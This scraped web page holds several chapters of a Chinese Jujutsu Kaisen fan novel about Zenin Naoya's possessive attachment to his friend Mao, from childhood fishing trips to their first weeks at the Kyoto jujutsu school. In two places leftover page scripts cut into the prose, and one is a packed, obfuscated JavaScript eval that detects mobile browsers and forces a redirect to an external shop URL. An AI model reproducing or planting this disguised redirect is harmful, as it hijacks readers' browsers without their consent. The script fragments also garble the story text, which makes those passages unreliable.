他脑子里在疯狂寻找一个能够让真绪陪他出去游玩的理由,玻璃缸里的金色鲤鱼摇了一下尾巴,直哉眼睛一亮:“真绪,我们去钓鱼吧。” 钓鱼啊,还真是没有尝试过的娱乐方式。 少爷们说要去钓鱼,鱼竿鱼饵自然不是让他们来准备的,直哉去另外一个房间换套衣服洗把脸,真绪也要稍微收拾一下。 镜子里面小池犹豫的表情看得一清二楚,真绪问她怎么了。 小池该怎么说,她在旁边看着两个小孩在一起生活了四年,越看越觉得不对劲,这完全不是正常孩子应该有的交友方式吧!而且更别提直哉少爷那扭曲的占有欲...... 看着真绪整理自己的衣服,小池终于开口说道:“少爷,我觉得你和直哉少爷之间,应该稍微注意一下......” “注意什么?”真绪漫不经心地回答。 小池叹了一口气:“首先,不能直哉少爷一哭,你就答应他所有的事情。” 真绪好像轻笑了一声反问道:“我有吗?” 小池连连点头:“当然啦。” 需要的话例子不要太多,今天不也是一个很好的例子,不然怎么会突然想什么钓鱼呢? 真绪叹了一口气:“可是我没有什么办法啊,他长得那么好看,再一哭,我就真的没有什么办法了。” 小池皱眉,她就是觉得现在这种情况有一些部分原因也是真绪无意间纵容出来的。 知道自己实在是无话可说,小池拿着换下的衣服出门。结果刚出门就看到站立在一旁的禅院直哉。 冷汗一下子冒了出来。 小池几乎是忘记了呼吸,睁大了眼睛看着阴森森笑着的直哉。 两人还没有说话,屋子里面的真绪好像察觉到了什么,喊道:“直哉,是你吗?进来吧。” 直哉推开小池,同时在她耳边轻声说道:“你给我等着。”然后大跨步往里面走了进去。 小池闭了一下眼睛,疲惫地离开了。 真绪皱眉弄着自己的衣服,总是有一些褶皱的地方,弄不好了,要是放在那里又是很碍眼。 直哉想上手弄,结果是乱上加乱。 真绪无奈地笑了出来:“好了,你也不会就别弄了。” 直哉走到了一边,看起来没能搞定这件衣服让他有些不开心。 真绪看着镜子里面的自己,忽然开口说道:“你听到刚才小池说的了吧?” 直哉眼眶还是有一些泛红,他怨气满满地说道:“小池姐姐还是讨厌我,我之前都道歉过了......” 真绪必须得背对着对方才能够说话:“小池只是担心我,我也不会受她的话影响的,所以你绝对不客气欺负她,知道了吗?” 要是直哉听到了小池说的话,估计会偷偷摸摸地又想要干坏事。 直哉跳到了他的面前,生气地问道:“你是在怀疑我吗?” 真绪叹了一口气:“没有没有,走吧,不然等会太阳都要下山了。” 安排的地方是一个比较偏远的角落了,成排的柳树遮挡了阳光,再找个阴影之下的位置,就不过太过炎热了。 直哉不喜欢太多人打扰他和真绪在一起,就让小池和菊泉等人都走开了。 直哉的鱼竿有几次动了,但是他动手总比快一步,鱼儿都没有上钩。真绪倒是相反,他慢一点但是鱼会更快地挣脱开,但是也比直哉多上钩了几条。 直哉撑着下巴问他们等会该拿这些鱼怎么办。 真绪也不吃鱼肉,他说:“这些鱼长得也不好看,等会就放回去。” 直哉点头,他也不是特别喜欢吃鱼,无聊地打了一个哈欠。他拉着小板凳稍微靠近一点真绪,慢慢地把头靠到了对方身上,眼皮有些沉重了。 “直哉,你困了吗?”真绪轻声问道。 直哉甚至都没有力气回答了,只是某一下的呼吸稍微重了一点,好像是借此回答了对方。 有人悄无声息地来到这里,停在了真绪的后面。 真绪本来是察觉不到的,但是忽然好像感觉到了什么,不由自主地回头望了过去,是禅院甚尔。 甚尔双手插兜,嘴角扬起一抹玩味的笑容:“我还在想你要什么时候才能够发现我。” 真绪觉得对方就是以大欺小,要是对方不想让自己知道那自己估计永远都不会知道了吧。他皱眉先问:“你在这里站了多久了?” 甚尔歪了一下脑袋:“大概十五分钟吧。” 真绪把脑袋转了回去,动作幅度不大,完全不会把身边的直哉吵醒。 “甚尔哥哥,”真绪在前两天突然掌握的一个称呼,更别提直哉听到的时候有多生气了,“你今天怎么会突然来到这里了?” 禅院甚尔掏了掏耳朵,眯起眼睛看向远方,好像在看什么看不到的东西。 他说:“突然觉得今天少了什么,然后就走了出来。” 真绪望着上下起伏的浮标,忽然问道:“甚尔你钓过鱼吗?” “无聊的东西,我不玩。”甚尔露出一个略带恶意的笑容,“我喜欢赌马。” “哦~刺激的东西。”真绪好像轻笑了一声,“钓鱼需要耐心和瞬间的反应能力。直哉总是还没有上钩就拉了起来,但是我有的时候反应太慢了。” 甚尔踢了踢旁边的水桶:“你不还是钓到了。” “总会有笨一点的鱼上钩的。” 甚尔不喜欢钓鱼,也不喜欢听钓鱼有关的事情。他看向远处的湖泊,忽然开口说道:“这几天,总有很多臭老头跑过来找我,喜欢说一些你说过的话,什么时候你们都喜欢白日做梦了?” “你为什么认为是白日做梦呢?” “那你见过成功的案例吗?” 真绪当然没有见过,但是不知道为什么,他面对禅院甚尔的时候总有一种喘息不过来的压迫感。 他一开始还以为是因为对方过于强悍的实力,强大的人会让他感受到压力,但是后来又觉得不仅仅如此,总有什么隐藏在后面吧。 就像那个时候不受控制突然说出来的话语,他怎么知道天与咒缚能不能解开! 忽然感到有一些头疼。 “天与咒缚可以解开吗?” “当然可以。” 说完这两句话的两人都陷入了沉默。 真绪睁大了眼睛,不由自主地捂住了嘴,他几乎是出于本能地说出了那四个字,刻在灵魂的印记再一次发挥了作用。 禅院甚尔浑身的气息都好像发生了变动,他问:“那要怎么解开?” 真绪揉了揉眉心,有些痛苦地说道:“我,我不知道。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 禅院甚尔轻笑了一声,听到了这个答案反而浑身都轻松了下来。 真绪疑惑地转头望过去,他充满好奇地问道:“为什么?为什么你会感受到轻松呢?” 甚尔就那样懒散地站在那里,明明没有刻意选择地点,阳光却都避开了他。 为什么甚尔会感受到轻松呢? 因为命运从来不会眷顾他,他深刻感知到了这一点。 有个人知道了可以解开天与咒缚,却不知道如何解开天与咒缚,这只是命运给他开的一个小玩笑而已。 这也不是第一次了,为什么要在以咒术生存的世界里降生他这样一个没有咒力的人呢? 不要希望,他不相信所谓的希望。 禅院甚尔根本就不打算回答真绪的问题,往后退一步,转身离开。 看着甚尔离开的背影,真绪本能站起来想要追随对方。 但是他忘记了靠在他身上的直哉。 “啊!” 直哉忽然被摔到了地上,疼痛地叫了出来,然后本能一般地往旁边滚了一下。 但是刚睡醒的脑子还没有反应过来,他们可是在湖畔旁边钓鱼,一滚,就要滚到水里去了。 “直哉!” 真绪又赶紧跑过去朝着水里面的直哉伸出手臂,直哉握住了那只手,太用力了,好像听到了“咔擦”一声。 远处的下人们终于听到喧闹声,急急匆匆地跑了过来,就看到直哉一手抓着真绪的手臂,剩下的身体自如地浮在水中。 哦,两个人都忘记了,禅院直哉是会游泳的。 甚至不用人下来扶,直哉两手一撑,自己干脆利落地从水里起来了。 菊泉急急忙忙地问道:“怎么了?少爷你还好吗?” 直哉估计是觉得有些尴尬,挥手推开了凑上来的人:“我没事,你们都走开一点!” “呀!”小池惊呼了一声,她扶着真绪的手臂,“少爷你是脱臼了吗?” 真绪感受着疼痛,皱眉看向直哉,结果然而是他倒霉地受伤了吗?直哉那家伙反而什么事情都没有吗? 直哉自己也惊呆了,说话都开始结结巴巴:“是是是......是我拉断的吗?” 严重了少爷,只是脱臼。 一群人高高兴兴地回来又惨兮兮地回来了,医生又是轻车熟路地来东雅阁看病。 “不是什么大事。”医生说,“只是轻微的脱臼,这些天稍微注意一点,一个月之后就可以完好无损了。” 真绪摸了一下缠绕在手臂上的绷带,异样感有些难受,最后一眼他轻飘飘落在了站在一旁的直哉上面。 对方才是真的吓到了,什么话都不说,一双眼睛就呆呆地流泪。 真绪朝着对方招了招手,直哉慢慢地挪了过去,然后就被揉了一把头发。 “在哭就不好看了,直哉。”真绪轻声说道。 直哉扑到对方怀里,声音闷闷的:“我不是故意的,我真的不是故意的,真绪,我真的不是故意的。” 他颠来倒去说了好几遍不是故意的,也许把当年第一次见面就划伤他手的事情也在一起道歉吧。 真绪拍了拍对方的脑袋,轻声安慰道:“没事的,没事的,我原谅你了,没事的。” 小池看见这一幕,呼吸变得沉重了一点,她想,白天所有的话都已经没有用了,能够改变的时机已经没了。 这一次的受伤不知道是不是命运的安排。 由于受伤,真绪不用去参加那个有【六眼】的集会。直哉几乎离不开真绪,和禅院直毘人干了一架,也成功逃离了那个集会。 另一个时空的相遇在这里被消弭了,但还是有一点没有改变的。 “甚尔哥哥离家出走了?”真绪皱眉,不可思议地重复着这句话。 禅院直毘人喝了一口茶,苦味让他很嫌弃。 “是啊,跑了,跑了两天才知道,他可不像你父亲,连个字条都没留。” 直哉站在真绪旁边,嘲讽道:“甚尔如果不在这里估计可以活得更好呢,他一直说禅院是垃圾场。” 禅院直毘人恨不得再好好教训这个儿子:“你也是禅院。” 直哉哼了一声:“要是我是禅院的家主,我肯定能让甚尔开心得生活在这里。” 禅院直毘人被气得说不出话,这种话也敢说的出来。 话不投机半句多,直哉终于把他老子给气走了。 真绪还在沉思,他不知道为什么甚尔突然走了,但是走都走了,以自己的能力实在是找不到对方的踪迹。 直哉的情绪可复杂了,有点开心也有点生气,但他还是缠在真绪的身边。 “是不是要休息了?” “唔,稍微睡个午觉吧。” 然后五年过去了。 34.上学 真绪第三次试图合上自己的行李箱,但是小池还在试图往里面塞东西。 看着被塞进去的各种杂物,真绪弱弱地开口:“我真的觉得这是不需要带过去的。” 没有几天,他和直哉就要去京都府立咒术高等专门学校上学了,现在正在收拾行李。 真绪觉得很多都是不必要的东西,毕竟就连最基础的衣服完全可以买新的,他喜欢空手上阵。 小池微微叹了一口气,担忧地说道:“依稀记得少爷你某天晚上想要起来喝水,结果不小心引起火灾这件事情啊。” 真绪陷入了沉默,有一些羞愧,天知道那天晚上太黑了,他只是不小心弄错了什么东西而已。 他拦不住收拾的小池,走到阳台上去看外面的风景。 五年啊,比上一个四年还是有一点进步的,他又触发了两个任务点。 【兄友弟恭。(3/10)】 【禅院家的人都不会好好说话,你以为禅院甚一肯定很鄙夷他那个没有咒力的弟弟吧。除非你偷偷撞见他给对方打电话,给卡里充钱。】 【掩其锋芒。(4/10)】 【禅院直毘人当上了家主,意料之中意料之外。只有他的孩子继承了不错的术式。平日里醉醺醺的,大家本以为他不喜欢家主之位,结果他很喜欢,并且为此很努力。】 没错,五年过去了,禅院直毘人当上了家主,听说前任家主是因病去世。 如果不是触发的任务点,真绪还真的以为禅院直毘人很不屑这所谓的家主之位呢。 禅院家的人好像都是表里不一的。 但是也有一点意外的,五年了,他尝试着与禅院优接触,结果还是没有触发任何任务点,有些烦躁。 念念不忘的一直不出现,那两个任务点倒是无意间触发的。 “真绪——”直哉又来了。 这些年他长高了不少,脸也长得愈发漂亮,养尊处优的日子让他的举手投足之间都散发着贵气,但是也无法遮掩他眉眼之间偶尔流露出来的坏心眼。他前段时间去染了金发,不过现在倒是长出了一些黑发。 直哉直直走到真绪的旁边,他现在个子比真绪高出了一个头,伸手环住对方的肩膀,微微侧脸蹭了蹭对方的头发,然后就保持着这个姿势看着一旁的小池收拾东西。 他忽然开口提议道:“真绪,要不要我们早几天去学校吧。” 真绪现在都已经习惯对方的动作,只是对这个提议有些好奇:“你什么时候这么喜欢上学了?” 直哉哼了一声:“我又不是喜欢上学,只是这个家里实在是太无聊了,我们还是多出去玩玩吧。” 他们这些年的感情愈发深厚,就差同住同睡了。不过直哉居然往京都校申请了同一宿舍,之后就连同住同睡都不可避免了。 真绪有些时候是稍微惯着他了一点,几次想开口说自己偶尔也需要一些私人空间,但是这个话题等到直哉染了金发之后就更加说不出口了。 还真是越长越好看了,禅院直哉啊。 真绪的眼神又不自觉地固定在了直哉的脸上。 “话说那个六眼,”直哉忽然说道,“也不知道五条家是怎么想的,居然让那个六眼去东京校那种乡下地方,真是脑子坏掉了。” 唔......六眼啊...... 被直哉这么一提醒,真绪倒是稍微想起来了那个六眼。 自从当年遗憾错失那次聚会之后,真绪倒是再也没有机会见过所谓的六眼,次次都是只闻其名不见其人。 真绪难得会参加的聚会,那位很是任性的六眼都不会来。更何况本来真绪的所有注意力都在禅院加也难得出门,更加不会遇到那位喜欢city walk的六眼了。 但是真绪倒是想到了另外一件事情。 他回忆道:“那么算算时间的话,那位夏油也有可能是在今年进入东京校吧。” 搭着自己肩膀的手猛然用力,真绪吃痛地望过去,就看到直哉沉下来的表情。 他阴森森地说道:“几年了,你居然还记得对方,还是说你一直和对方联络着?” 真绪无奈一笑:“我哪里有机会和他联系啊,而且我一提名字你就知道是谁,难道不是证明了你也记得对方吗?” 直哉冷笑一声,对于真绪提出的问题不做回答,反而抓着前面的一个话题不放:“那就是说就算一点不联系,这么多年你还是能能够记得对方。” 一旁收拾东西的小池默默抬头看了一眼,她对于直哉少爷日渐增长的占有欲偶尔也会感受到害怕,但是看着真绪少爷掌握得很好的样子...... 她垂下了眼神,继续收拾东西。 真绪稍作苦恼的样子:“没有办法啊,每当我想忘记的时候,都会看到你这副样子,然后就更加忘记不了了。” 看着直哉垂下眼帘侧开的脸庞,真绪赶紧说道,“我就记得他一个姓氏了,其他什么都不记得了。” 真绪又哄了几句,直哉的脸色才恢复正常,但是他忽然说:“真想把你脑子里面关于其他的记忆都删掉。” 真绪的动作和表情猛然一顿,他往后退了一步,皱眉看向直哉:“你为什么会有这种想法?” 直哉这些年的察言观色(只针对真绪)技能练得如火纯青,他舔了一下嘴唇:“我就是随口一说,没有什么其他的意思啦。” 真绪看了他几眼,才缓缓点头,强调说道:“我不喜欢这种话,以后不要再说了。” 直哉连连点头,但是他却在想,为什么真绪会对这句话那么在意呢?真是好奇啊。 不管怎么说,真绪答应了直哉之前的提议,提前几天前往学校。 临走前,真绪环顾了这间他生活了九年的房子,尤其是那台大电视,那部电视剧也在前段时间终于大结局了。 在经历了认亲、绝症、车祸、争夺家产、狸猫换太子等一系列事情之后,这个已经发展到四世同堂的家族居然全都死透透了,一个都不剩。 最后结局的画面是家里的大房子也被一场大火烧得干干净净。 大结局的时候,真绪是和直哉一起看的,红色的火光照在了他们两个人的脸上。真绪的表情一时间安静得像一片湖泊,灰色的眼眸却仿佛变成了璀璨的红宝石。 真绪不喜欢这个结局,连带着看狗血电视剧的爱好都变了。 “真绪,你发什么呆呢?”直哉站在远处呼喊了他一声,真绪回神朝着直哉摇了摇手,赶紧走过去。 并不需要什么送别,两人只是在禅院家门口坐上了轿车就离开了,一起前往新学校。 京都校从装横到人员都带有一股御三家的感觉,真绪感觉自己仿佛是从一个禅院家到了另外一个禅院家。 校长叫做乐岩寺嘉伸,一个很老很老的老头,那个外表看起来绝对是那种古板老头,结果直哉告诉他这老头的术式是弹电音吉他的,有些酷啊。 同期还有一个学生叫加茂千忆,身形瘦弱,额前的发丝有一些遮住眼睛,他站在一旁什么话都不说。 听说他是加茂家的“嫡子”,但是没能继承到优秀的术式,不是他母家有些厉害的话,甚至都不能够进入到京都校来读书。 这一届就他们三个学生,不过也理解,五条家的六眼都跑去东京校了,五条家的人再怎么样也不会来京都校了。 加茂千忆性子冷漠,也不说话,像个隐形人,班主任说了几句话后他就自顾自地离开了。 直哉看起来很满意对方隐形人的性格,他恨不得这一届只有他和真绪两个学生。 京都校是严肃了一点,但是里面的学生怎么说也是一群小孩子罢了,当天晚上也会有高年级的学长学姐来凑热闹看看新生,然后当时氛围就冷了下去。 禅院千忆不管在场的其他人,一个人的面子都不给直接离开了。 直哉站在真绪的旁边,理所当然地问这群学长学姐准备了什么好玩的。 学长学姐:......新生的性格一个比一个差劲啊。 他们把目光落在最后一个没有说话的真绪身上。 真绪笑眯眯的,温柔地问道:“学校哪里有什么好玩的吗?但是我不太喜欢人多的地方。” 直哉在众人的目光下把手搭在了真绪的肩膀上,他们两个人仿佛树立起一道看不见的墙,把所有人都隔离在外了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12787212|128672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 真绪脸上的表情不变,他知道要是自己说想要什么很多一起玩之类的,直哉又要发作了。 这一届的新生一个比一个无聊,众人下了这个结论之后慢慢都散去了。 虽然是这样说,其实直哉还是和一些高年级的人稍微熟络了一点,毕竟他的身份摆在那里,总会有人愿意捧他的面子。 直哉之前的申请还真的成功了,学校给他批了一个双人宿舍,但是其实是一个两室一厅的大房间而已,毕竟其他的宿舍都是一人住的小房间。 前两天还好,但是第三天开始直哉晚上总是动不动就在真绪的房间里面呆到很晚,甚至直到真绪睡着了才离开。 有一次真绪忽然惊醒,就发现直哉还坐在自己的床边玩手机。 你知道黑暗的房间里,有一个人的脸被灯光照着还是有一些恐怖的。 真绪顿了一会,终于说出口了:“直哉,我记得你是有自己的房间的。” 直哉理所当然地说道:“我是为了照顾你啊。” 真绪:? 直哉解释,以前在禅院家的时候,是有小池照顾真绪,现在只有真绪一个人了,照顾真绪的责任当然到他身上了。毕竟真绪真的很不会照顾自己。 直哉知道自己是一个少爷,但是在真绪面前自己就什么都不算啦。 真绪张了张嘴,想说什么又不知道该说点什么。 当时他还躺在床上,直哉已经站了起来,昏暗的房间里面,黑黢黢的身影还是有一点压迫感的。 他好像明白对方想让自己说什么了。 真绪在心中叹了一口气:“直哉,那这样吧,今晚你就先睡在这里吧。” 他话刚说完,直哉就已经蹿到了床上,少年热乎乎的身体让真绪微微皱起了眉头。 他踌躇了片刻,开口说道:“直哉,一般的朋友是不会这样的。” 直哉有些困倦了,嘟囔着回道:“我们是最好的朋友,唯一的朋友啊。” 真绪看着天花板的一点,直白地说道:“就算是最好的朋友,唯一的朋友也不会这样的。” 毕竟他们现在的姿势是这样的:直哉一只手揽住了真绪的腰,整个脑袋都窝着真绪的脖颈处,几乎半个身体都压在了真绪身上。 真绪之前只觉得是直哉的占有欲强了一点,但是现在好像有些偏离占有欲的部分了。 直哉蹭了蹭,困得眼睛都已经闭上了:“你在说什么啊,我听不懂,我有些困了,真绪......” 真绪摸了摸对方的发丝,轻声说道:“也许你明天应该去问问学长,他们应该会教给你一些东西。” 今晚,就先睡个好觉吧。 ...... 被称为“乡下地方”的东京校也迎来了它的开学季,夏油杰向左看了看戴着墨镜的白发少年,向右看了看面无表情的短发少女,向他的班主任夜蛾正道问出了他新生活的第一个问题。 “就只有三个学生吗?会不会有两个学生还没有到啊?” 这个指代性实在是太强了,旁边的五条悟和家入硝子都转头看向他,就连夜蛾正道都怀疑了一下自己是不是搞错了学生人数。 但是新生就三个人,再怎么搞错也不能搞错了。 夜蛾肯定地说道:“今年的新生就三个人,夏油,你有什么问题吗?” 夏油杰思索了一下,回忆起当初禅院直哉的语气,试探性地问道:“咒术学校的话,只有我们学校一个吗?” “并不是,还有一所位于京都。” 夏油杰点头表示明白了,然后说:“那我的第二个问题就是,现在还允许转校吗?” 当然夏油杰并没有成功转校,因为当他提出这个问题之后,那个白发少年五条悟就开启了嘲讽模式,先是对京都校一阵批判,又认为想要转去京都校的夏油杰也是有什么问题。 夏油杰微微一笑,然后就打起来了。 家入硝子赶紧溜掉。 不打不相识,夏油杰打算先把这个没有教养的五条悟搞定了再商量转学的事情。 看着破损的学校,夜蛾正道忽然有一种预感,自己的教学生涯是不会好过了。 35.确认 虽然昨晚直哉听到那番话的时候已经很困了,但是不知道怎么了,真绪说的那几句话他却牢牢记在了脑海里。 现在清醒了,他却更加不理解真绪说的话。 他们两个之间可是最好最好的朋友,朋友之间做什么不可以啊? 于是下课后,直哉随便找了个借口离开,和学长试探性地问了一下。 他还算长了个心眼,没有说的特别清楚,就说自己一个朋友觉得他们之间过于亲密了。 学长疑惑:“多亲近?” 直哉犹豫了一下,说:“就睡在一张床上......” 学长大失所望:“我还以为是什么大事情呢,我们当初曾经三个人挤一张床也没有什么关系啊,就是被条被抢坏了,也许就是你那个朋友有些洁癖吧。” “洁癖?他没有吧。”直哉顿时放心了,继续说道,“抢被子?这些都不可能发生,我们关系可好了,我晚上抱着他他还会拍拍我,你们朋友的关系没有我们的好啊。” 学长隐隐约约觉得有些不对了,转过头来认真地看着地方,说:“你和你朋友还有什么事情,我一起来帮你分析一下。” 直哉回忆了一下:“我们会知道对方的每日行程,虽然每次都得我主动去说。他不喜欢去外面玩,这就让我在外面的时候每一个小时就得给他发消息,我知道他在干什么,所以我不需要他发消息啦。昨天晚上也是啦,因为我担心他睡不好所以一直在他房间等到很晚,他也担心我所以让我睡在一起了......你那是怎么眼神?” 直哉美滋滋计数着他和真绪之间的点点滴滴,一回神就看到学长一言难尽的表情。 学长张大了嘴巴,震惊地说道:“原来你和真绪是那种关系!而且看起来是你在一厢情愿诶!” 直哉急了:“我怎么就是一厢情愿了!还有谁说是真绪了!” 学长无语:“整个京都校和你关系好的就只有真绪了,每个试图和他讲话的人你都在旁边死盯着。虽然隐隐约约有那种猜想吧,但是平日里看你们也挺坦坦荡荡的,原来是你喜欢而不自知啊。” 直哉的呼吸变得有些急促了,他有些语无伦次了:“你!你都在胡说些什么?” 学长仗着有些资历,拍了拍对方的肩膀说道:“你都能够跑过来问我这些了,难道你还没有反应过来吗?” 喜欢?他当然喜欢真绪啦,不然怎么能够认同对方成为自己唯一的朋友。 这是他想出来的措辞,但是他也知道此喜欢不是彼喜欢。学长说的,明显、明显就是那种......喜欢啊! 学长还处在发现了惊天大瓜的震惊之中:“哇,要是你以后和真绪在一起了,你还会成为禅院家的下一任家主吗?哇,太有意思了吧。” 直哉只听见了三个字:“在......在一起?” 他结结巴巴地重复着这三个字。 什么叫做在一起呢?是和自己父亲母亲一样的在一起吗? 不对不对,那也太久远了,那是像真绪看的狗血电视剧里面那样的在一起吗? 是那种会牵手约会,亲吻......吗? 学长咂舌:“难道我说错了?你是那种为了地位抛弃爱情的人?啧啧啧。” 直哉瞬间回神,呵斥道:“你胡说什么呢?” 学长对于八卦的热情已经超过其他了,他津津有味地探听着:“所以呢?你到底打算怎么弄?” 直哉现在脑子里面混乱着呢。 学长摸了摸下巴:“那真绪呢?听你刚才说的,真绪完全就是被你纠缠烦了吧,他要是不喜欢你你也只能放弃了吧。” 直哉顺着学长的话陷入了沉思,真绪肯定是喜欢自己的吧,可是会是那种男女之间的喜欢吗? 真绪不喜欢自己还能够喜欢谁呢?忽然一种恶意从心头冒了出来。 不管是普通的喜欢还是男女之间的喜欢,真绪只能够喜欢自己一个人。当然自己也会同样喜欢真绪的! 谁也没有想到,直哉的心思已经完全跑到别的地方去了。 学长还在畅想:“也不知道真绪会找什么样子的对象啊......” 直哉一拳锤上旁边的墙:“真绪只会和我在一起!” 学长终于从吃瓜的激情中退却了,他看着直哉,眼神中带了一些趣味,摇了摇头就转身离开了。 直哉情绪低落地回到了教室,却发现下午根本没有课,真绪也给他发消息先回到宿舍去了,于是他又踏上了回宿舍的路。 不需要任何话,直哉轻车熟路地走到了真绪的房间里面。 窗帘遮住了外面的光,真绪面对着墙,已经陷入熟睡了,直哉就坐在墙边,一直看着对方。 大概过了半小时,真绪慢慢苏醒,一身的困倦。 刚翻了一个身,就看到直哉又坐在床边,吓了他一跳。 怎么又这样了? 他有气无力地看着直哉,问道:“怎么了?” 直哉脸上一片平静,说:“真绪昨天晚上让我去的事情我问到了。” 真绪慢慢清醒过来,他的眼神略微变化,说道:“那你问出来了什么?” 直哉伸手,摸上了真绪放在被子外面的手,肯定地说道:“我喜欢真绪,真绪也喜欢我,我们会永远在一起的。” 真绪露出了一个大大的问号,他怎么觉得对方完全走了另外一条歧路呢? 他从床上坐了起来,开口说道:“你说的喜欢......” 他才说了一个开头,就被直哉给打断了。 直哉手中的力道微微加重,眼睛却一直盯着真绪。 “不管是什么喜欢,我都要。” 真绪眼睛一眯,还没有来得及说什么,直哉的表情一变,又变成了无辜的样子,往前一扑,倒在了真绪的怀里。 “真绪真绪,我就想和你一直在一起,你不会抛下我的吧。” 真绪的思绪一下子都被打断了,他先是反射性地摸了摸直哉的脑袋,晃了一下神才开口说道:“我的意思是......” 直哉抬起头,眼眶泛起了微红,就那样盯着真绪,委屈地开口问道:“难道真绪是想要抛弃我吗?” 真绪赶紧换了一个话头:“我不是这个意思,我是想说......” 直哉又打断了对方:“那我们就是会永远在一起的对吗?对吗?真绪?” 他喋喋不休地重复问着这个问题,所谓的喜欢与否他从一开始就没有考虑过,他只在意一件事:真绪和他会不会永远在一起。 只要永远在一起,喜不喜欢就不重要。 起码现在的直哉就是这样想的。 真绪一直没有给出回答,他也给不出答案,他向来对直哉的撒娇没有办法。 说不出拒绝的话,也犹豫说出答应的话语。 真绪一直不回答,直哉心中也开始慌乱,他支撑起身体,往真绪的脸庞凑近,低声重复问道:“真绪,你不会抛下我的吧,你会永远和我在一起的吧?” 真绪灰色的眼睛微微颤抖,美丽的容貌愈发靠近自己,让他连呼吸都放缓了很多。 直哉眼底慢慢溢出得意,但他很好控制住了,他还得先保持住这副可怜兮兮的样子。 真绪闭上了眼,微微侧过脸,心中叹气,强硬地说道:“直哉,你没有弄明白其中的事情,你现在就是一时的占有欲作祟,你根本......”什么都不懂。 他的话说到一半被手动阻止了。 直哉用手把真绪的脸转了过来,嘴唇贴了上去,呼吸在唇齿间流淌。 这个亲吻之间好像一点情感都没有,不,还是有一点的,直哉那溢出来的占有欲。 真绪头转了过去,还想要说什么,但是直哉就顺着侧脸密密麻麻地轻吻着。 真绪睁大了眼睛。 直哉眨了眨眼睛,对上真绪的眼睛,轻声问道:“真绪,你是在担心我不懂吗?我太喜欢你了,什么样的喜欢我都有,你喜欢这样吗?” 真绪不知道该说点什么了。 直哉把头埋在对方的脖颈处,最后一遍问道:“我们会永远在一起吗,真绪?” 真绪在心底长长叹息一声,抚摸着对方的金发:“会的,会的。” 在真绪看不见的地方,直哉缓缓露出一个笑容。 ...... 过了大概半个月,学长有事来找直哉,结果不在教室,他就绕到后面的小树林里面去找。 直哉果然和真绪在一起。 半个月的谈话又回想了起来,学长放缓了脚步,心中升起一些好奇,也想知道他们两个人现在是如何相处了。 但是直哉看到了对方,嘴角勾起一个弧度。 他拍了拍正在看手机的真绪肩膀,在对方回头的时候忽然就亲了上去。 好像半个月过去还厉害了不少,啧啧的水声藏在被风吹动的树叶声中。 真绪微微皱起眉头,不明白对方怎么突然又这样了,拍了拍对方的头发,示意对方不要再继续了。 直哉最后的结尾是以舔舐了一下对方的嘴角,然后意外地看向一边:“诶?学长你怎么来了?” 真绪先是侧过脸,用袖口擦了擦嘴角的口水。 学长人都麻了,踉跄了一下才慌神走了过来:“哦,直哉啊,我是来找你商量一件事情的。” 表面风轻云淡,内心波涛汹涌:你小子进度有点太快了吧!!才半个月吧! 真绪对这所学校除直哉之外的人都不是很熟悉,只是看了学长一眼,觉得有点眼熟也有一点陌生。 学长嘴角抽搐,按下心中翻涌的吐槽,赶紧把自己的目的说了出来:“马上不就是和东京校的姐妹校交流会了吗?我是来邀请你的。” 真绪刚流露出一点好奇,直哉就立马开口拒绝:“我不去。” 真绪只记得夏油杰去了东京校,但是对于其他事情就不知道了。 不小心打听到一些消息的直哉倒是知道进入东京校的夏油杰居然拥有传说中的术式【咒灵操术】。 听闻咒灵操使还和六眼关系不错,天天切磋,身手不相上下。 各种负面情绪在直哉心底里翻滚,他直言拒绝不去。 真绪看了一眼直哉,看他闷闷不乐的样子微微勾了嘴角,朝着学长温柔说道:“既然直哉不去,我想以我的身手学长也看不上吧,那这次实在是太遗憾了。” 真绪这话说得挺好听,学长也只能赔笑,但是他忽然心中闪过一个念头,眼睛一眯,觉得事情不能就这样放弃了。 拜托,东京校今年收了一个变态的六眼,他不找几个实力厉害的,今天的交流会就是白白送人头了。虽然不知道直哉抵触的是什么,但是说话的技巧不就那么几个嘛。 学长双手抱臂靠在一旁的树上,叹了一口气说道:“直哉,我知道你们御三家的人都害怕那个六眼,不过你也不能临阵而逃啊。” “谁临阵而逃了!”直哉觉得自己被侮辱了,他瞟了一眼身边的真绪,冷哼了一声,“不想去的理由有很多,我难道需要一一和你解释嘛?!” 学长观察到了直哉的小眼神,他疑惑地看向真绪,难不成是真绪和东京校的有联系? 学长眼珠子转了一下,搭上直哉的肩膀就拉到一边说悄悄话:“看你那副样子,该不会是真绪的前男友在东京校吧。” “胡说!”直哉甩开对方的手,那个人算什么前男友! 学长一拍手,稳了啊。 他苦口婆心地劝说道:“那你就更应该去了啊!现男友哪有不向前男友炫耀的啊!” 他继续说道:“诶,直哉你不能老是像有条锁链一样锁在真绪的旁边,你去东京校打败了六眼,也许带回来这个消息能够让真绪让你另眼相看呢。” “回来?” 学长解释,交流会也是有名额的,真绪确实长得好看,可是术式嘛......他又不是什么直哉那个恋爱脑,要赢带上真绪好像没有什么作用。 直哉闭上了眼睛:“真绪不去我就更加不可能去了。” “行行行!”学长豁出去了,不就是多一个名额嘛,这钱又不是出不起。 学长又唧唧歪歪地说了一大堆好处,其实早在他说出第一句话的时候直哉就心动了。 对啊,现在真绪和他在一起了,他难道不应该去东京校炫耀一番嘛? 越想越开心,直哉的嘴角都扬起了起来。 学长笑眯眯地问道:“所以你答应了吗?” 直哉冷哼了一声,没有当成回答,他走回真旭身边,别扭地说道:“真绪,你要不要和我一起去那个什么交流会啊?” 真绪歪头,露出一丝疑惑,怎么突然又改变心意了? 直哉用脚蹭了蹭对方的脚尖:“我只是觉得有时候出去呼吸一下乡下的新鲜空气还是不错的。” 真绪露出愉悦的表情,刚笑出来,直哉就气冲冲地说道:“你不许对这件事情感到开心。” 真绪收敛表情,严肃地点了点头。 